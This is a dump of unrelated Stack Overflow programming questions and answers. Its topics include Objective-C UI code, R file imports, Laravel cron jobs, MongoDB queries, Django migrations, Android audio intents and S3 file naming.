forState:UIControlStateNormal]; [self.sixtyResult setTitle:sixtyWeight forState:UIControlStateNormal]; } else{ [self.nintyFiveResult setTitle:@"95%%: 0 lbs" forState:UIControlStateNormal]; [self.nintyResult setTitle:@"90%%: 0 lbs" forState:UIControlStateNormal]; [self.eightyFiveResult setTitle:@"85%%: 0 lbs" forState:UIControlStateNormal]; [self.eightyResult setTitle:@"80%%: 0 lbs" forState:UIControlStateNormal]; [self.seventyFiveResult setTitle:@"75%%: 0 lbs" forState:UIControlStateNormal]; [self.seventyResult setTitle:@"70%%: 0 lbs" forState:UIControlStateNormal]; [self.sixtyFiveResult setTitle:@"65%%: 0 lbs" forState:UIControlStateNormal]; [self.sixtyResult setTitle:@"60%%: 0 lbs" forState:UIControlStateNormal]; } } /* repsModified: This method is called when the weight field is modified. If the reps or weight value entered is equal to zero all of the percentage results will be changed to zero. If valid values are passed in both fields the percentages of weight will be calculated. */ - (IBAction)repsModified:(UITextField *)sender { if([sender.text isEqualToString:@""] == false &amp;&amp; [self.repsField.text isEqualToString:@""] == false){ NSLog(@"Reps Modified in if statement."); // Gather reps and weight value int reps = 0; int weight = 0; weight = [self.weightField.text intValue]; reps = [sender.text intValue]; NSLog(@"Weight: %d", weight); NSLog(@"Reps: %d", reps); int nintyFiveInt = [self oneRepMax :0.95 :reps :weight]; int nintyInt = [self oneRepMax :0.9 :reps :weight]; int eightyFiveInt = [self oneRepMax :0.85 :reps :weight]; int eightyInt = [self oneRepMax :0.8 :reps :weight]; int seventyFiveInt = [self oneRepMax :0.75 :reps :weight]; int seventyInt = [self oneRepMax :0.7 :reps :weight]; int sixtyFiveInt = [self oneRepMax :0.65 :reps :weight]; int sixtyInt = [self oneRepMax :0.6 :reps :weight]; NSString *nintyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", nintyFiveInt]; NSString *nintyWeight = [NSString stringWithFormat:@"95%%: %d lbs", nintyInt]; NSString *eightyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", eightyFiveInt]; NSString *eightyWeight = [NSString stringWithFormat:@"95%%: %d lbs", eightyInt]; NSString *seventyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", seventyFiveInt]; NSString *seventyWeight = [NSString stringWithFormat:@"95%%: %d lbs", seventyInt]; NSString *sixtyFiveWeight = [NSString stringWithFormat:@"95%%: %d lbs", sixtyFiveInt]; NSString *sixtyWeight = [NSString stringWithFormat:@"95%%: %d lbs", sixtyInt]; [self.nintyFiveResult setTitle:nintyFiveWeight forState:UIControlStateNormal]; [self.nintyResult setTitle:nintyWeight forState:UIControlStateNormal]; [self.eightyFiveResult setTitle:eightyFiveWeight forState:UIControlStateNormal]; [self.eightyResult setTitle:eightyWeight forState:UIControlStateNormal]; [self.seventyFiveResult setTitle:seventyFiveWeight forState:UIControlStateNormal]; [self.seventyResult setTitle:seventyWeight forState:UIControlStateNormal]; [self.sixtyFiveResult setTitle:sixtyFiveWeight forState:UIControlStateNormal]; [self.sixtyResult setTitle:sixtyWeight forState:UIControlStateNormal]; } else{ [self.nintyFiveResult setTitle:@"95%%: 0 lbs" forState:UIControlStateNormal]; [self.nintyResult setTitle:@"90%%: 0 lbs" forState:UIControlStateNormal]; [self.eightyFiveResult setTitle:@"85%%: 0 lbs" forState:UIControlStateNormal]; [self.eightyResult setTitle:@"80%%: 0 lbs" forState:UIControlStateNormal]; [self.seventyFiveResult setTitle:@"75%%: 0lbs" forState:UIControlStateNormal]; [self.seventyResult setTitle:@"70%%: 0 lbs" forState:UIControlStateNormal]; [self.sixtyFiveResult setTitle:@"65%%: 0 lbs" forState:UIControlStateNormal]; [self.sixtyResult setTitle:@"60%%: 0 lbs" forState:UIControlStateNormal]; } } /* oneRepMax: This method is used to compute the one rep according to the values passed percent: represents the percentages displayed on the screen numReps: represents the number of reps in the reps field weightToLift: represents the number in the wieght field The method returns a float of the weight to be displayed on screen */ - (float)oneRepMax:(float) percent :(int) numReps :(int) weightToLift{ float r = (float) numReps; float w = (float) weightToLift; float div = r/ 30; return percent*w*div*10; } - (void) printResults:(int) percent :(int) weightOnBar :(Weights*) weightObject{ [self.resultTitle setText:[NSString stringWithFormat:@"%d%%: %d", percent, weightOnBar]]; } // Percentage Buttons - (IBAction)clickNintyFive:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.95 :reps :weight]; [self printResults: 95: nintyFiveInt: _weightObj]; } - (IBAction)clickNinty:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.9 :reps :weight]; [self printResults: 90: nintyFiveInt: _weightObj]; } - (IBAction)clickEightyFive:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.85 :reps :weight]; [self printResults: 85: nintyFiveInt: _weightObj]; } - (IBAction)clickEighty:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.8 :reps :weight]; [self printResults: 80: nintyFiveInt: _weightObj]; } - (IBAction)clickSeventyFive:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.75 :reps :weight]; [self printResults: 75: nintyFiveInt: _weightObj]; } - (IBAction)clickSeventy:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.7 :reps :weight]; [self printResults: 70: nintyFiveInt: _weightObj]; } - (IBAction)clickSixtyFive:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.65 :reps :weight]; [self printResults: 65: nintyFiveInt: _weightObj]; } - (IBAction)clickSixty:(id)sender { int weight = [self.weightField.text intValue]; int reps = [self.repsField.text intValue]; int nintyFiveInt = [self oneRepMax :0.6 :reps :weight]; [self printResults: 60: nintyFiveInt: _weightObj]; } @end </code></pre>
37329114	0	R: Loop for importing multiple xls as df, rename column of one df and then merge all df's <p>The below is driving me a little crazy and I’m sure theres an easy solution.</p> <p>I currently use R to perform some calculations from a bunch of excel files, where the files are monthly observations of financial data. The files all have the exact same column headers. Each file gets imported, gets some calcs done on it and the output is saved to a list. The next file is imported and the process is repeated. I use the following code for this:</p> <pre><code>filelist &lt;- list.files(pattern = "\\.xls") universe_list &lt;- list() count &lt;- 1 for (file in filelist) { df &lt;- read.xlsx(file, 1, startRow=2, header=TRUE) *perform calcs* universe_list[[count]] &lt;- df count &lt;- count + 1 } </code></pre> <p>I now have a problem where some of the new operations I want to perform would involve data from two or more excel files. So for example, I would need to import the Jan-16 and the Jan-15 excel files, perform whatever needs to be done, and then move on to the next set of files (Feb-16 and Feb-15). The files will always be of fixed length apart (like one year etc) </p> <p>I cant seem to figure out the code on how to do this… from a process perspective, Im thinking 1) need to design a loop to import both sets of files at the same time, 2) create two dataframes from the imported data, 3) rename the columns of one of the dataframes (so the columns can be distinguished), 4) merge both dataframes together, and 4) perform the calcs. I cant work out the code for steps 1-4 for this!</p> <p>Many thanks for helping out</p>
29221582	0	laravel 4.2 liebig package work on localhost but fail in server cron job command <p>i want to fire some function to get news about football from rss i used laravel4.2 <a href="http://liebig%20package" rel="nofollow">https://github.com/liebig/cron</a> as that </p> <pre><code>Event::listen('cron.collectJobs', function() { Cron::add('football', '* * * * *', function() { //the controller of function $news=new News_feedController(); $news-&gt;football(); return 'success'; }); }); $report = Cron::run(); </code></pre> <p>it work correctly when i use cmd </p> <blockquote> <p>php artisan cron:run</p> </blockquote> <p>in my computer but when use the server cron job command </p> <blockquote> <ul> <li><ul> <li><ul> <li><ul> <li><ul> <li>/usr/bin/php /home/public_html/interestoo.com/artisan cron:run</li> </ul></li> </ul></li> </ul></li> </ul></li> </ul> </blockquote> <p>i don't find any change in </p> <blockquote> <p>cron_job</p> </blockquote> <p>table but find data in </p> <blockquote> <p>cron_manager</p> </blockquote> <p>table and the cron job function did not work i'm sure that the path </p> <blockquote> <p>/home/sfathy/public_html/interestoo.com/</p> </blockquote> <p>in command is true and does not find any reason for that problem any help please.</p>
13150137	0	 <p>Peter has already answered your question still I would like to recommend not to use old SiteEdit object. You should update the template code as per Tridion UI 2012.</p>
5740510	0	 <p>With that you can get latitude and longitude of an address. If you request this url and you use the address you want to find the coordinates you get 4 value as a response. You can use this function to get a Location object with lat and log of your address: </p> <pre><code>-(CLLocationCoordinate2D) addressLocation:(NSString *)address { NSString *urlString = [NSString stringWithFormat:@"http://maps.google.com/maps/geo?q=%@&amp;output=csv", [address stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding]]; NSString *locationString = [NSString stringWithContentsOfURL:[NSURL URLWithString:urlString]]; NSArray *listItems = [locationString componentsSeparatedByString:@","]; double latitude = 0.0; double longitude = 0.0; if([listItems count] &gt;= 4 &amp;&amp; [[listItems objectAtIndex:0] isEqualToString:@"200"]) { latitude = [[listItems objectAtIndex:2] doubleValue]; longitude = [[listItems objectAtIndex:3] doubleValue]; } else { //Show error } CLLocationCoordinate2D location; location.latitude = latitude; location.longitude = longitude; return location; } </code></pre> <p>You can find more help here: <a href="http://mithin.in/2009/06/22/using-iphone-sdk-mapkit-framework-a-tutorial" rel="nofollow">http://mithin.in/2009/06/22/using-iphone-sdk-mapkit-framework-a-tutorial</a></p>
13080783	0	 <p>Because array is passed by reference, and other variables are local.</p>
24427845	0	Can not find a record by it's _id in mongoDB <p>I want to get a record by its <code>_id</code> like this:</p> <pre><code>db.user.find({_id : ObjectId("53a095aa4568cb1fef93f681")}) </code></pre> <p>As you can see the record exists:</p> <p><img src="https://i.stack.imgur.com/yjl8b.png" alt="mongoDB record by _id"></p> <p>I think my way is correct according to: </p> <ul> <li><a href="http://stackoverflow.com/questions/6867388/why-am-i-unable-to-find-a-record-by-id-in-mongodb">Why am I unable to find a record by _id in mongodb</a> </li> <li><a href="http://stackoverflow.com/questions/8233014/how-do-i-search-for-an-object-by-its-objectid-in-the-console">how do I search for an object by its ObjectId in the console?</a> </li> <li><a href="http://stackoverflow.com/questions/4176692/is-it-ok-to-use-mongos-object-id-as-its-unique-identifier-if-so-how-can-i-c">Is it ok to use Mongo&#39;s &quot;Object ID&quot; as its unique identifier? If so, how can I convert it to a string and look it up by string?</a> </li> </ul> <p>So what's wrong with my code? I'm using RoboMongo.</p>
3783507	0	 <p>What version of Magento? And I'm assuming you're referring to the layered navigation? </p>
14610063	0	Solution for updating a record when you require a particular field Unique <p>I have a table </p> <pre><code>ProjectID ProjectName Project description </code></pre> <p>Project Name is required to be unique. To implement the unique logic, i am sending the name of the project name to Stored Procedure as </p> <pre><code>Create proc CheckName @Project Name as begin select count(ProjectName) where ProjectName=@Project Name </code></pre> <p>it return count to CS page and i check that as if(count>0) { //Add }</p> <p>This code works fine with addition. Now when i want to update the project description field, the check for Project Name again goes and it return Count 1 (which is obvious) and display Project Name already exist and i am not able to update other field of the table.</p> <p>What other Logic can be implemented to maintain the unique field in the table. Thanks for any assistance. </p>
21558094	0	Integration of legacy mySQL database into a new Django ORM powered data structure <p>We have a Django project on which we were working for the several past months, and it is basically the new, improved version of an old system that was powered by PHP and mySQL.</p> <p>Now I need to convert all of the old data from the mySQL tables, into the new Django - ORM based data structure. </p> <p>I've already created a new Django project name 'integration', and ran </p> <pre><code>pytohn django-admin.py inspectdb &gt; models.py </code></pre> <p>The result wasn't all that good, because we were using MyISAM DB engine, and there are no clear relations between the models.</p> <p>Also, the models are much different in their design, although the bottom line is the same(same data represented otherwise).</p> <p>The questions are:</p> <ol> <li><p>First of all, can this task theoretically be handled this way, purely by south migrations from here onward.</p></li> <li><p>How can I lose the nasty id(PK=true) column, and the database_name attribute in the Meta class from the output of inspect db without breaking it all.</p></li> <li><p>When preforming major changes to the models(several fields at a time, name, length and type altogether for each one), is there anyway to tell south explicitly which field is which, so the data in the existing columns will be migrated correctly?.</p></li> </ol> <p>Clearly this is my first integration project of this kind of scale, so sorry for all of the ignorant questions.</p> <p>What approach will you recommend?, any tools to help me out?.</p> <p>Is it better to go by Induction(from the bigger, more central object, to the smaller ones) or by deduction(the other way around)?.</p>
20391948	0	 <p>Fiddler can not read HTTPS pages unless it is configured to decrypt them. Check the checkboxes below on the HTTPS tab in Fiddler's options.</p> <p><img src="https://i.stack.imgur.com/8EuWc.png" alt="Fiddler&#39;s HTTPS tab"></p> <p><a href="http://fiddler2.com/documentation/Configure-Fiddler/Tasks/DecryptHTTPS" rel="nofollow noreferrer">Details</a></p>
40553558	0	 <p>Try to Pause music on <code>AudioManager.ACTION_AUDIO_BECOMING_NOISY</code> - it it comes before <code>AudioManager.ACTION_HEADSET_PLUG</code> (approx. about 1 sec). Something like:</p> <pre><code>IntentFilter filter = new IntentFilter(); filter.addAction(AudioManager.ACTION_HEADSET_PLUG); filter.addAction(AudioManager.ACTION_AUDIO_BECOMING_NOISY); registerReceiver(receiverHeadset, filter); </code></pre> <p>...</p> <pre><code>public class MusicIntentReceiver extends android.content.BroadcastReceiver { @Override public void onReceive(Context ctx, Intent intent) { if (intent.getAction().equals(AudioManager.ACTION_AUDIO_BECOMING_NOISY)) { // Pause music } else if (intent.getAction().equals(android.media.AudioManager.ACTION_HEADSET_PLUG)) { if(intent.getIntExtra("state",0)==1){ // 1 for plugged (if it becomes plugged) //Resume music } } } } </code></pre>
24173779	0	 <p>I think the third sql statement should be:</p> <p>INSERT INTO [project_manager] (project_id, manager_id) SELECT project_id, @ID FROM [projects] WHERE project_name = @Name</p>
1821748	0	 <p>Probably the simplest way to do that is to find out exactly what imagefile jQuery is using for the icons, and then modify that image file (or create your own) and drop it into place.</p>
15511511	0	How to use on the same content box 2 columns of vertical tabs? <p>How can I create a new column which is identical to the first column, and have it display one column to the right?</p> <p>I want the new column to have the same properties as the first column because I want to add more things to this tabs and only on 1 column they are ugly.</p> <p>Here is what I have tried: <a href="http://jsfiddle.net/26zQS/6/" rel="nofollow">http://jsfiddle.net/26zQS/6/</a></p> <pre><code>&lt;div class="verticalslider" id="textExample"&gt; &lt;ul class="verticalslider_tabs"&gt; &lt;li&gt;&lt;a href="#"&gt;Catedra de Limba si Literatura Romana&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Catedra de Matematica&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Catedra de Informatica&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Limba engleza&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href="#"&gt;Limba Germana&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;ul class="verticalslider_contents"&gt; &lt;li&gt; &lt;h2&gt;Catedra de Limba si Literatura Romana&lt;/h2&gt;&lt;/br&gt; &lt;p id="profesor"&gt; Popa Alina &lt;/br&gt; Nadia Pascu&lt;/br&gt; &lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;h2&gt;Catedra de Matematica&lt;/h2&gt;&lt;/br&gt; &lt;p id="profesor"&gt; Ciubotariu Boer-Vlad &lt;/br&gt; Diaconu Ilie&lt;/br&gt; Gorcea Violin &lt;/br&gt; &lt;/p&gt; &lt;/li&gt; &lt;li&gt; &lt;h2&gt;informatica&lt;/h2&gt; &lt;p id="profesor"&gt; Wainblat Gabriela&lt;/br&gt; Nistor Ancuta&lt;/br&gt; &lt;/li&gt; &lt;li&gt; &lt;h2&gt;Limba Engleza&lt;/h2&gt; &lt;p id="profesor"&gt; Wainblat Gabriela&lt;/br&gt; Nistor Ancuta&lt;/br&gt; &lt;/li&gt; &lt;li&gt; &lt;h2&gt;Germana&lt;/h2&gt; &lt;p id="profesor"&gt; Wainblat Gabriela&lt;/br&gt; Nistor Ancuta&lt;/br&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; </code></pre>
40893859	0	 <p>Something like the following should do what you want I think:</p> <pre><code>ResourceAccessor resourceAccessor = new FileSystemResourceAccessor(); Database db = DatabaseFactory.getInstance().findCorrectDatabaseImplementation(new JdbcConnection(yourJdbcConnection)); Liquibase liquibase = new Liquibase("data/filename", resourceAccessor, db); try (Writer writer = new OutputStreamWriter(System.out)) { liquibase.update((Contexts) null, writer); } </code></pre>
25629238	0	 <p>I am also using On-Demand VPN in iOS 7 and I am not experiencing this issue </p> <h2>Suggestion 1:</h2> <p>It seems like buggy beta os version update to latest one and try that's enough.</p> <h2>Suggestion 2:</h2> <p>If the VPN server is down it may happen so make sure VPN sure in online and available.</p> <h2>Suggestion 3:</h2> <p>Review your mobile config xml for any bug below is part of my mobile config I use.</p> <pre><code>&lt;key&gt;OnDemandEnabled&lt;/key&gt; &lt;integer&gt;1&lt;/integer&gt; &lt;key&gt;OnDemandMatchDomainsAlways&lt;/key&gt; &lt;array&gt; &lt;string&gt;*&lt;/string&gt; &lt;string&gt;google.com&lt;/string&gt; &lt;/array&gt; &lt;key&gt;OnDemandMatchDomainsNever&lt;/key&gt; &lt;array/&gt; &lt;key&gt;OnDemandMatchDomainsOnRetry&lt;/key&gt; &lt;array/&gt; &lt;key&gt;OnDemandRules&lt;/key&gt; &lt;array&gt; &lt;dict&gt; &lt;key&gt;Action&lt;/key&gt; &lt;string&gt;Connect&lt;/string&gt; &lt;/dict&gt; &lt;/array&gt; </code></pre> <p>Hope this helps.</p>
1266807	0	 <p>I've come across this myself before. Adobe's documentation on <a href="http://livedocs.adobe.com/flex/3/html/help.html?content=13_Working_with_XML_01.html" rel="nofollow noreferrer">Traversing XML structures</a> isn't exactly clear on the point.</p> <p>Their documentation states that if there is more than one element with a particular name you have to use array index notation to access it:</p> <pre><code>var testXML:XML = &lt;base&gt; &lt;book&gt;foo&lt;/book&gt; &lt;book&gt;bar&lt;/book&gt; &lt;/base&gt; var firstBook:XML = testXML.book[0]; </code></pre> <p>Then it goes on to say that if there is only one element with a particular name then you can omit the array index notation:</p> <pre><code>var testXML:XML = &lt;base&gt; &lt;book&gt;foo&lt;/book&gt; &lt;/base&gt; var firstBook:XML = testXML.book; </code></pre> <p>This means that when you try and force coercion to an Array type it doesn't work since it sees the single element as an XMLNode and not an XMLList.</p> <p>If you are lucky you can just check the number of children on your <code>&lt;my_claims&gt;</code> node and decide if you want to warp the single element in an <code>ArrayCollection</code> or if you can use the automatic coercion to work for multiple elements. </p>
10474653	0	 <p>Use a switch-statement.</p> <pre><code>switch($color) { case "blue": // do blue stuff break; case "yellow": // do yellow stuff break; case "red": // do red stuff break; default: // if everything else fails... } </code></pre> <p>In case you want to do the same thing on all colors, just use the <code>||</code> (boolean or) operator.</p> <pre><code>if ($color == "blue" || $color == "red" || $color == "yellow") { // do stuff } </code></pre>
10992867	0	 <blockquote> <p>The app seems to be correctly allowing users to log into the app and all, but it never posts anything to their feed despite having publish_stream set as a permission.</p> </blockquote> <p>Your app has to <em>actively</em> make a post … see <a href="https://developers.facebook.com/docs/reference/api/user/#feed" rel="nofollow">https://developers.facebook.com/docs/reference/api/user/#feed</a></p> <blockquote> <p>And then when I click "Go to App," it goes without requesting any kind of permission.</p> </blockquote> <p>Once again, you have to actively do that if you want it to happen. Or you could try <a href="https://developers.facebook.com/docs/opengraph/authentication/#referrals" rel="nofollow">authenticated referrals</a>, which will prompt the user to give permissions before entering your app in certain scenarios.</p>
29581758	0	 <p>There are two reasons nothing happens:</p> <ol> <li>You add 0.5 to an int. An int represents <em>whole numbers</em>. So you basically add 0 at every increment of <code>angleHead</code></li> <li>After calling <code>glTranslatef()</code> you again call <code>glLoadIdentity()</code> which resets your translation in <code>glTranslatef()</code></li> </ol>
14749379	1	Multiple raw_input and searching <p>Because <em>programming</em> is one of my favorite hobbies I started a small project in python.</p> <p>I'm trying to make a nutritional calculator for daily routine, see the code below:</p> <pre><code># Name: nutri.py # Author: pyn my_dict = {'chicken':(40, 50, 10), 'pork':(50, 30, 20) } foods = raw_input("Enter your food: ") #explode / split the user input foods_list = foods.split(',') #returns a list separated by comma print foods_list </code></pre> <p>What I want to do: </p> <ol> <li>Get user input and store it in a variable</li> <li>Search the dictionary based on user input and return the asociated values if the keys / foods exists</li> <li>Sum these values in different nutritional chunks and return them, something like: You ate x protein, y carbs and z fat etc.</li> </ol> <p>Any ideas are welcome.</p>
18878229	0	 <p>Just change to:</p> <pre><code>echo "info" | nc - w 30 IP 3031 </code></pre> <p>Many thanks !</p>
40490119	0	 <p>I Solved my problem using this codes.</p> <p>PreviousIsNull({@Q3}) or {@Q3} &lt;> Previous({@Q3}) and PreviousIsNull({@E3}) or {@E3} &lt;> Previous({@E3});</p>
27043074	0	 <p>Seems like the cleanest way in this example is to:</p> <ul> <li>Use a RelativeLayout</li> <li>Position the 2 adjacent views one below the other</li> <li>Align the FAB to the parent right/end and add a right/end margin</li> <li>Align the FAB to the bottom of the header view and add a <em>negative</em> margin, half the size of the FAB including shadow</li> </ul> <p>Example adapted from shamanland implementation, use whatever FAB you wish. Assume FAB is 64dp high including shadow:</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" android:orientation="vertical"&gt; &lt;View android:id="@+id/header" android:layout_width="match_parent" android:layout_height="120dp" /&gt; &lt;View android:id="@+id/body" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_below="@id/header" /&gt; &lt;fully.qualified.name.FloatingActionButton android:id="@+id/fab" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentRight="true" android:layout_alignBottom="@id/header" android:layout_marginBottom="-32dp" android:layout_marginRight="20dp" /&gt; &lt;/RelativeLayout&gt; </code></pre> <p><img src="https://i.stack.imgur.com/orN4Z.png" alt="FAB Layout example"></p>
37649592	0	 <p>I am mentioning following steps these may be useful for you.</p> <p>Step 1:- If you are not in us and you want to use android pay then you should have a us registered email id (You can make us email id with help of gmail ) then you can download android pay .</p> <p>Step2: You can register you credit card in android pay now a days few credit cards are supported by android pay you can try with Visa, Master Card, American Express cards and other cards which support the android pay.</p> <p>Step 3: Implement following points <a href="https://developers.google.com/android-pay/diagrams" rel="nofollow">https://developers.google.com/android-pay/diagrams</a> . </p> <p>If you have some problem then comment me.</p>
9370182	0	 <ol> <li>Missing semicolon after the array</li> <li>Not assigning or using the array in anything.</li> <li>Trying putting your array as the second parameter in the form create method.</li> </ol>
36350149	0	Apply specific margins to first and last element that are not siblings <p>I have specific type of boxes in my HTML that have, let's say <code>margin: 10px;</code> to all of them. They are displayed in a row on the page (using Bootstrap) and I want to remove the left margin of the first element and the right margin of the last element. I could use <code>:first-child</code> or <code>:first-of-type</code> and their respective <code>lasts</code> but the elements are not siblings and they do not have a common parent. The HTML looks something like this:</p> <pre><code>&lt;div class='container'&gt; &lt;div class='col-md-2'&gt; &lt;div class='MY-CUSTOM-BOX'&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class='col-md-5'&gt; &lt;div class='MY-CUSTOM-BOX'&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class='col-md-5'&gt; &lt;div class='MY-CUSTOM-BOX'&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p><code>:first-of-type</code> applies to all boxes, not sure how to approach the <code>:first-child</code> because of the nested <code>divs</code>. Any ideas?</p>
14068192	0	Sensible filenaming in Amazon S3 <p>I'm working on a website which is starting to generate a large volume of user-uploaded photos, which are then converted into multi thumbnails of different sizes and stored. So far, these have been stored locally but I would like start storing and serving them via Amazon S3.</p> <p>I've read Amazon's bucket and file naming rules which are clear, but I am wondering if there are other practical best practices for future maintainability.</p> <p>Until now, I've been doing this:</p> <ul> <li>User with GUID 31928 uploads image.jpg at 12-01-15 15:38:44</li> <li>Thumbnail "small" gets stored as /s/28/19/3/31928/120115153844.jpg</li> </ul> <p>... where the the path is derived from the GUID and the image filename from the timestamp. This distributes files without creating massive folders, keeps everything sufficiently unique, and makes it possible for images to be matched against a GUID even manually. It's worked well so far.</p> <p>With S3, I'll probably be serving these images from a single bucket but as the bucket cannot contain sub-folders, I'm curious as to how other people are storing large volumes of images. For example:</p> <ul> <li>hash: 2fkoer983RoerWokfw.jpg</li> <li>guid_hash: 31928_2fkoer983RoerWokfw.jpg</li> <li>guid_size_hash: 31928_s_2fkoer983RoerWokfw.jpg</li> <li>... or something else?</li> </ul> <p>Am I over-thinking this? Any experience would be appreciated, thanks.</p>
38970802	0	working with temporary table in cakephp 3 <p>I'm working in CakePHP 3.2</p> <p>I have a table <code>Carts</code> to store products in cart when user is logged in with <code>user_id</code>.</p> <p>I want addToCart accessible to user without login too. But in this case I want to use temporary table to store the cart data and when user is logged in, transfer all data from temporary table to <code>carts</code> table and delete <code>temporary table</code>.</p> <p>How to work with temporary table in CakePHP 3 ? Is it a good practice to use temporary data for the same or is there any better alternative to this ?</p> <blockquote> <p>Edit 2</p> </blockquote> <p>Values to store in cookie/temp table</p> <pre><code>product_id seller_id seller_product_id quantity </code></pre> <p><strong>Associations</strong></p> <p><code>product_id</code> is foreign key to <code>products</code> table <code>seller_id</code> is foreign key to <code>sellers</code> table <code>seller_product_id</code> is foreign key to <code>seller_products</code> table</p> <p>product table is further associated with <code>product_attributes</code></p> <p>Currently using <code>carts</code> table with following columns</p> <pre><code>+-----------+-------------+----------+---------------------+--------+ | user_id | product_id | seller_id | seller_product_id |quantity | +-----------+-------------+----------+---------------------+--------+ </code></pre> <p>and this is what I'm doing to retrieve associated data</p> <pre><code>if (!empty($this-&gt;Auth-&gt;user('id'))) { $user_id = $this-&gt;Auth-&gt;user('id'); $g_cart = $this-&gt;Carts-&gt;find('all', [ 'conditions' =&gt; [ 'user_id' =&gt; $user_id, ], 'contain' =&gt; [ 'Products', 'SellerProducts', 'Sellers', 'CartAttributes' ] ]); $g_count = $g_cart-&gt;count(); if (!empty($g_cart)) { // foreach($g_cart as $g_c){debug($g_c);} foreach($g_cart as $g_c) { $total_cost += $g_c-&gt;quantity * $g_c-&gt;seller_product-&gt;selling_price; } } } </code></pre> <p>Hope I'm clear to you.</p>
35760802	0	 <p>Quoting from <a href="http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454">RegEx match open tags except XHTML self-contained tags</a> :</p> <blockquote> <p>You can't parse [X]HTML with regex. Because HTML can't be parsed by regex. Regex is not a tool that can be used to correctly parse HTML. [...] Regular expressions are a tool that is insufficiently sophisticated to understand the constructs employed by HTML. HTML is not a regular language and hence cannot be parsed by regular expressions. Regex queries are not equipped to break down HTML into its meaningful parts.</p> </blockquote> <p>The conclusion I case was the same as the author:</p> <blockquote> <p>Have you tried using an[sic] XML parser instead?</p> </blockquote> <p>Which is what you can do!</p> <p>Try this:</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>var fragment = document.createDocumentFragment(); var elem = document.createElement('div'); fragment.appendChild(elem); elem.innerHTML = '&lt;svg viewBox="0 0 120 120" version="1.1" xmlns="http://www.w3.org/2000/svg"&gt;&lt;circle cx="60" cy="60" r="50"/&gt;&lt;/svg&gt;'; alert(elem.getElementsByTagName('circle')[0].getAttribute('cx'));</code></pre> </div> </div> </p> <p>It should alert <code>60</code>.</p> <p>Javascript provides all the tools to mess with this. Just pretend that the string is HTML and you should be fine!</p> <hr> <p><strong>Note</strong>: that code is just an example! Addapting it to work properly is easily done in 5 minutes or less.</p>
37730379	0	PHP Framework that uses a widget concept <p>I am looking for a php framework based on sort of widget. i.e. every block you see on a page can be broken down into smaller parts called widgets and therefore be reused easily. Does anyone know of such a framework?</p> <p>So each widget would have an associated css file, javascript file, php file and template file.</p>
5559322	0	WCF Data Service authentication <p>-Is it possible to secure a WCF Data Service by using certificate-based authentication ?</p> <p>-Is there a resource that describes this process ?</p> <p>-Can we use Message security with a WCF Data service ?</p>
12118819	0	 <p>My answer would be "Always."</p> <p>It's the emerging standard for categorizing all forms of information on the web. </p> <p>Raven Tools (no affiliation) has a schema.org microdata generator that's a good place to start:</p> <p><a href="http://schema-creator.org/product.php" rel="nofollow">http://schema-creator.org/product.php</a></p> <p>They have a couple stock schema templates on that page (look on the left column).</p>
8923312	0	 <p>You can get more info of the Geometry String which is used by ImageMagick as in following: <a href="http://www.imagemagick.org/RMagick/doc/imusage.html" rel="nofollow">http://www.imagemagick.org/RMagick/doc/imusage.html</a></p>
39545320	0	 <p>The issue appeared to be that the api has changed to require a user id not a username hit this api endpoint to get the id</p> <pre><code>http://api.soundcloud.com/users/{username}?client_id={someid} </code></pre> <p>Then use the id in the url instead and it works :D</p>
18272129	0	 <p>use <a href="http://msdn.microsoft.com/en-us/library/tabh47cf.aspx" rel="nofollow">String.Split()</a></p> <pre><code>string str = "foobar~~some example text~~this is a string"; string[] _result = str.Split("~~", StringSplitOptions.None); </code></pre>
38720109	0	 <p>Solved!</p> <p>So problem was that I had Drupal migrate module and it was configured to use second database (Drupal 6, from old site) on my VM only. On staging that second DB configurations was also wrong, but for some reason (I guess different PHP settings) it was not shooting that error. On live it was.</p> <p>And what I didn't know is that Drupal migrate module is connecting that second DB even if it's not used directly, i.e. when cache is cleared - have no idea why.</p>
